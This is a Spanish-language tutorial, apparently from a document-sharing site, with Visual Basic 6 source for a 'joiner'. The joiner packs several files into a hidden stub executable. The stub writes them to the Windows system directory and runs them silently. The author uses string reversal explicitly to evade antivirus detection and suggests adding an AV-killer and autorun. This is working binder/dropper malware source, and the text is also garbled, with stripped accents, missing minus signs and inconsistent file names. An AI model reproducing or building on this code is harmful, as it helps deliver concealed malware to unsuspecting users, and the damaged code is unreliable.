Vous êtes sur la page 1sur 9

Creacin de un simple Joiner.

Definicin: Un Joiner es una aplicacin que junta archivos de cualquier extensin en un solo archivo .exe y permite la ejecucin de estos por separados a traves del nico .exe. Tambin puede incorporar otras cualidades segn la calidad de este. Aplicaciones varias :D.

Introduccin: Hola, bueno aqu os ensear como hacer un joiner de lo mas sencillo pero totalmente operativo. Intentar explicar cada paso para que tambin vayis entendiendo lo que hacemos. Pues sin ms los vamos manos a la obra. Definiendo el terreno: Este apartado me lo he sacado de la manga porque creo necesario antes de comenzar a explicar unas pequeas cosas para que no haya ningn problema para comprender el texto. Lo que vamos a crear esta compuesto de dos partes;

La interfaz del programa, es decir, lo que el usuario ver y utilizar. Este se encargar de unir los archivos con las opciones pertinentes. El stubb que ser el que organizar la ejecucin de los archivos. El stubb dira yo que es la parte ms importante del programa.

Una vez dicho esto decir que a partir de ahora nos dirijiremos a la interfaz del programa como joiner y al stubb como stubb. Cmo funciona un joiner?
Simple Joiner by Nork

Me parece oportuno que antes de comenzar a codear se entienda como funciona un joiner. Aunque no lo parezca, entender el funcionamiento de las cosas implica saber reaccionar ante un problema y por lo tanto una soltura que haciendo copy&paste no se consigue ;).

Lo que haremos ser; El joiner se encargar de unir el stubb y los archivos y los dejar mas o menos de esta manera.

Cmo vemos cuando se ejecute el archivo primero de todo se abrir el STUBB y este lo que har, en nuestro caso, ser abrir los archivos separados por marcas. Las marcas las introducce el joiner despues de cada archivo y nos servir de gua para saber donde comienza y acaba un archivo. Comenzamos a codear. JOINER. Primero haremos el joiner. En un nuevo proyecto aadimos los
Simple Joiner by Nork

siguientes controles:

ListBox 3 CommandButtons CommonDialog TextBox (invisible)

De nombre les pondremos, por orden:


Lista 1 CommandButton: Aadir, 2 CommandButton: Juntar, 3: Salir GA Lo dejamos igual

Bien, ahora comenzaremos por el botn aadir: Private Sub Aadir_Click() On Error GoTo Error 'Si hay error nos vamos a Error: y mostramos un MsgBox. GA.Filter = "Todos los archivos (*.*)" GA.ShowOpen 'Mostramos el dialogo para abrir. Lista.AddItem GA.FileName 'Aadimos a lista la direccin del archivo. Exit Sub 'Salimos si no hay ningn problema. Error: MsgBox "Error al abrir el archivo", vbCritical, "Error" End Sub Esto har que se sepan los archivos que se van a unir. Ahora veremos como el joiner va a juntar los archivos con el stubb. Private Sub Juntar_Click()
'Definimos variables

Dim Ap1 As String Dim file As String


Simple Joiner by Nork

Dim ext1 As String Dim filed As String Dim i As Integer Dim nombre As String If Lista.ListCount < 2 Then MsgBox "Seleciona ms de un archivo", vbCritical, "Error" Exit Sub End If GA.FileName = "Joiner" GA.DialogTitle = "Guardar Como..." GA.DefaultExt = "*.exe" GA.ShowSave 'Le decimos donde se crear el archivo final. FileCopy App.Path & "\stubb.dll", GA.FileName For i = 0 To Lista.ListCount 1 'Vamos cojiendo los archivos de Lista. Open Lista.List(i) For Binary As #1 'Abrimos el archivo file = Space(LOF(1)) ' La variable file pasa a tener el tamao del archivo. Get #1, , file 'Introducimos el archivo en la variable file. Close #1 filed = StrReverse(file) 'Hacemos un intento de cifrado, si tenemos algun modulo
de cifrado esta es la hora de utilizarlo.

File = "" 'limpiamos la variable Text1.Text = Lista.List(i) ext1 = Ext(Text1.Text) ' Aqu ext1 contiene la extension del archivo. nombre = Nam(Text1.Text) 'Cojemos el nombre del archivo en nombre. Ap1 = Ap1 & "/separador/" & filed & "/separador/" & ext1 & "/separador/" & nombre 'Colocamos todos los archivo en Ap1
separado por la MARCA /separador/ fijaros en como se colocan y que hay entre ellos.

Next 'Pasamos al siguiente archivo Open GA.FileName For Binary As #1 'Creamos el archivo de cuando le
Simple Joiner by Nork

mostramos el dialogo para guardar ( ShowSave)

Seek (1), LOF(1) + 1 'Nos vamos al final del archivo Put #1, , Ap1 'Introducimos todos los archivos separados por las marcas. Close #1 MsgBox "Archivos Juntados", vbOKOnly, "AVISO" End Sub

Ya tenemos la parte importante del joiner, ahora declararemos una variable general y unas funciones; Dim fullname As String Esta variable la declaramos en general. Public Function Nam(ruta As String) fullname = Mid$(ruta, InStrRev(ruta, "\") + 1) Nam = Mid$(fullname, 1, InStrRev(fullname, ".") - 1) End Function Public Function Ext(ruta As String) fullname = Mid$(ruta, InStrRev(ruta, "\") + 1) Ext = Mid$(fullname, InStrRev(fullname, ".") + 1) End Function Estas funciones son las que nos permiten extraer el nombre y la extensin de los archivos. Para que se entienda un poco mas la funcin del joiner la explicar por partes. 1. Copia el stubb a la ruta donde el user quiso guardar el archivo final. ( FileCopy App.Path & "\stub.dll", GA.FileName).
Simple Joiner by Nork

2. Creamos un bucle que lea Lista, es decir todos los archivos a juntar. ( For i = 0 To Lista.ListCount 1, Open Lista.List(i) For Binary As #1) 3. Abrimos el archivo actual ( segn el bucle) y metemos el archivo en la variable file (file = Space(LOF(1)), Get #1, , file) 4. Ciframos el archivo para que no cante el AV (filed = StrReverse(file)) 5. Aadimos a la variable Ap1 el ultimo archivo cargado del bucle (Ap1 = Ap1 & "/separador/" & filed & "/separador/" & ext1 & "/separador/" & nombre) 6. Abrimos el archivo final que slo estar el stubb de cuando lo copiamos y nos vamos al final de l. ( Seek (1), LOF(1) + 1) 7. Aadimos la variable que contiene todos los archivos separados por las marcas ( Put #1, , Ap1) Bueno pues esto es todo el secreto del Joiner. Ahora veremos el stubb y quiz se entienda ms la verdadera funcin. Codeando el Stubb. Pues como el Stubb no queremos que se vea y tampoco podemos interactuar con l le daremos propiedades de oculto y slo codearemos en su propiedad de Load. Abrimos un nuevo proyecto dndole la propiedad de invisible y empezamos a codear; Option Explicit
'Declaramos unas variables en General

Private Declare Function ShellExecuteA Lib "SHELL32.DLL" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long 'Para ejecutar nuestros archivos Private Declare Function GetSystemDirectory Lib "kernel32" Alias
Simple Joiner by Nork

"GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long 'Para saber el directorio del sistema Dim buf As String Dim ret As Long Private Sub Form_Load() On Error Resume Next 'Si hay algun error que no avise y que siga
'Variables

Dim Ext1 As String Dim nombre As String Dim file As String Dim file2() As String Dim Archivo As String Dim filed As String Dim ruta As String Dim i As Integer Dim x As Integer Dim fins As Integer Dim ruta2 As String buf = String$(260, Chr$(0)) ret = GetSystemDirectory(buf, Len(buf)) ruta = Left$(buf, ret) 'ruta pasa a valer la direccion del directorio del sistema. ruta2 = App.Path & "\" & App.EXEName & ".exe" 'Ruta pasa a valer
nuestra ruta para podernos abrir.

Open ruta2 For Binary As #1 'Nos abrimos Archivo = Input(LOF(1), #1) ' Archivo vale a nosotros. Close #1 Archivo = Trim(Archivo) 'Quitamos caracteres invalidos. file2 = Split(Archivo, "/separador/") 'Separamos el archivo por las marcas. fins = UBound(file2) / 3 'fins vale a todas las separaciones creadas por la marca entre tres, ya que queremos hacer bloques de tres; Archivo, nombre, extensin.

Simple Joiner by Nork

x=1 For i = 1 To fins 'Comenzamos el bucle hasta lo que valga fins file = Trim(file2(x)) 'Cojemos el archivo activo del bucle. x=x+1 Ext1 = Trim(file2(x)) 'Cojemos la extensin... x=x+1 nombre = Trim(file2(x)) 'Cojemos el nombre... x=x+1 filed = Trim(StrReverse(file) 'Desciframos Open ruta & "\" & nombre & "." & Ext1 For Binary As #1 ' Creamos
el primer archivo

Put #1, , filed 'Le aadimos su archivo. Close #1 ShellExecuteA 0&, "Open", ruta & "\" & nombre & "." & Ext1, vbNullString, vbNullString, 1 'Ejecutamos el archivo activo del bucle. file = "" filed = "" Next End 'Terminamos el Stub ya que si no quedara ejecutandose en memoria. End Sub Cmo hicimos en el joiner aqu tambin explicar un poco lo que hace el stubb. 1. Se abre a si mismo y se separa por las marcas ( Open ruta2 For Binary As #1, file2 = Split(Archivo, "/separador/")) 2. Hacemos un bucle hasta el final del archivo separado por las marcas. ( For i = 1 To fins)
Simple Joiner by Nork

3. Guarda el archivo activo en el bucle con su nombre inicial y su extensin en el directorio del sistema. 4. Ejecuta el archivo activo. 5. Termina el proceso ( End) Bueno pues esta es la funcin del stubb que tenis que compilarlo y renombrarlo a stubb.dll. En el form load del joiner podis poner que si no se encuentra el archivo stubb.dll en el mismo sitio que el joiner salga un error, ya que si no, no funcionar.

Despedida Bueno espero que mas de uno ahora pueda crear un joiner sencillo y que lo pueda seguir desarrollando que es lo que cuenta. El joiner puede ser muy completo y aadir en el stubb un AV-Killer un Autorun etc etc. Un ejemplo claro es el Cactus Joiner que esperamos la prxima versin que sin duda promete mucho :D. Sin ms me despido y espero que os haya gustado el manual. Saludooos!

Simple Joiner by Nork

Vous aimerez peut-être aussi